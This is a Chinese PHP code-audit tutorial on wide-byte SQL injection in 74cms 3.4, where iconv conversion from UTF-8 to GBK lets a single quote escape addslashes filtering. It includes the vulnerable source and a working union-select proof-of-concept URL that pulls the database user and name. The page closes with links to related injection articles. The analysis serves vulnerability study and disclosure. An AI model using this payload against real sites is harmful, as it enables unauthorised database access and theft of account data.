0x01 背景

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:
1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;
2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。
现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。
漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-063219

0x02 环境搭建

看背景我们使用了低版本的74cms程序,版本为3.4(20140310)
①源码网上可以搜到,我打包了一份:http://pan.baidu.com/s/1c1mLCru
②解压到www的74cms(20140310)目录下,浏览器访问http://localhost/74cms(20140310)),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:

0x03 漏洞分析

Part1:源码结构

源码的结构比较清晰,应该是审计过最清晰的结构 了,主要有下面三块内容:

index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:

<?php
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
?>

可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。
而且74cms为了防止宽字节注入,将MySQL连接设置为二进制读取,配置在/include/mysql.class.php中:

<?php
function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1)
{
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if (!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)) {
$this->dbshow('Can not connect to Mysql!');
} else {
if ($this->dbversion() > '4.1') {
mysql_query("SET NAMES gbk");
if ($this->dbversion() > '5.0.1') {
mysql_query("SET sql_mode = ''", $this->linkid);
//character_set_client=binary即二进制方式
mysql_query("SET character_set_connection=" . $dbcharset . ", character_set_results=" . $dbcharset . ", character_set_client=binary", $this->linkid);
}
}
}
...
}
?>

接下来看看php中iconv函数的使用会造成什么样的后果。

Part2:审计过程

注入一分析:
1.在/plus/ajax_user.php注册处:

elseif($act == 'do_reg')
{
$captcha = get_cache('captcha');
if ($captcha['verify_userreg'] == "1") {
$postcaptcha = $_POST['postcaptcha'];
if ($captcha['captcha_lang'] == "cn" && strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
$postcaptcha = iconv("utf-8", QISHI_DBCHARSET, $postcaptcha);
}
if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'], $postcaptcha) != 0) {
exit("err");
}
}
require_once(QISHI_ROOT_PATH . 'include/fun_user.php');
$username = isset($_POST['username']) ? trim($_POST['username']) : exit("err");
$password = isset($_POST['password']) ? trim($_POST['password']) : exit("err");
$member_type = isset($_POST['member_type']) ? intval($_POST['member_type']) : exit("err");
$email = isset($_POST['email']) ? trim($_POST['email']) : exit("err");
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
//对注册的名字进行utf-8到GBK的编码转换
$username = iconv("utf-8", QISHI_DBCHARSET, $username);
$password = iconv("utf-8", QISHI_DBCHARSET, $password);
}
$register = user_register($username, $password, $member_type, $email);

这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。
所以如果我们将username设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后这里注册时会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来引发注入漏洞。

2.我们继续跟进$register=user_register($username,$password,$member_type,$email);
这里的user_register函数,在/include/fun_user.php里:

//检查简历的完成程度
//注册会员
function user_register($username,$password,$member_type=0,$email,$uc_reg=true)
{
global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;
$member_type=intval($member_type);
//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进
$ck_username=get_user_inusername($username);
$ck_email=get_user_inemail($email);
... ...
return $insert_id;
}

3.继续跟进get_user_inusername函数,在/include/fun_user.php里:

function get_user_inusername($username)
{
global $db;
//带入查询,可注入~
$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";
}

注入二分析:
在plus/ajax_street.php中:

elseif($act == 'key')
{
$key = trim($_GET['key']);
if (!empty($key)) {
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0)
//对参数key进行utf-8到GBK编码的转换
$key = iconv("utf-8", QISHI_DBCHARSET, $key);
//带入查询,可以注入
$result = $db->query("select * from " . table('category') . " where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");
//将查询结果输出到页面中,可回显
while ($row = $db->fetch_array($result)) {
if ($listtype == "li") {
$htm .= "<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>";
} else {
$_GET['streetid'] = $row['c_id'];
$url = url_rewrite('QS_street', $_GET);
$htm .= "<li><a href=\"{$url}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>";
};
}
if (empty($htm)) {
$htm = "<span class=\"noinfo\">没有找到关键字: <span>{$key}</span> 相关道路!</span>";
}
exit($htm);
}
}

这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。

0x04 漏洞证明

我们使用注入二(有回显)的来做证明
发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:

http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23


查看sql语句发现查询语句里反斜杠被转移,单引号成功逃逸出来:

最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。

附GBK的汉字编码范围:

汉字区包括:
a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。
b. GB 13000.1 扩充汉字区。包括:
(1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。
(2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。

可以看到,GBK编码中的两个字符是一个汉字,第一个字符需要大于128。

原文链接:http://www.cnbraid.com/2016/02/28/sql4/,如需转载请联系作者。

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入的更多相关文章

  1. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  2. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  3. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

    0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  7. SQL宽字节注入

    0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...

  8. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  9. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

随机推荐

  1. 关闭HTML5只能提示(form上新增novalidate)

    <form novalidate>    <input type="text" required />    <input type="su ...

  2. [翻译]Behavior-Driven Development (BDD)行为驱动开发(一)

    简单而言,BDD是一系列基于TDD的工具和方法集发展而来的开发模式,一般不认为是一种新的开发模式,而是作为TDD的补充.因此,首先对TDD的概念进行进行. 测试驱动开发(TDD) TDD模式采取的是迭 ...

  3. POJ 3174 Alignment of the Planets (暴力求解)

    题意:给定 n 个坐标,问你三个共线的有多少组. 析:这个题真是坑啊,写着 n <= 770,那么一秒时间,三个循环肯定超时啊,我一直不敢写了,换了好几种方法都WA了,也不知道为什么,在比赛时坑 ...

  4. .NET文件上传的大小限制配置

    <system.web>  <!--maxRequestLength单位是Kb-->  <httpRuntime maxRequestLength="20971 ...

  5. jpa 支持(sql)JDBC标准语句

    =====================dao================================ package com.jb.xs.Dao.impl; import java.uti ...

  6. Dubbo远程调用服务框架原理与示例

    Dubbo 是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和 Spring框架无缝集成. 主要核心部件: Remoting: 网络通信框架 ...

  7. Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL

    一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...

  8. 【Python实战02】共享Python代码到PyPI社区

    之前学习了Python的列表,以及编写了一个函数来进行列表的输出,这次我们就继续来学习如何把我们已经编写好的代码共享到PyPI社区,这里以上篇文章中编写的print_lol函数为例. 函数转换为模块 ...

  9. android 自定义adapter和线程结合 + ListView中按钮滑动后状态丢失解决办法

    adapter+线程 1.很多时候自定义adapter的数据都是来源于服务器的,所以在获取服务器的时候就需要异步获取,这里就需要开线程了(线程池)去获取服务器的数据了.但这样有的时候adapter的中 ...

  10. OC: 数组、集合、字典

    数组.字典.集合 参考1   参考2  参考3  参考4  参考5 NSArray * nn  = @[@"元素1",@"元素2",@"元素3&quo ...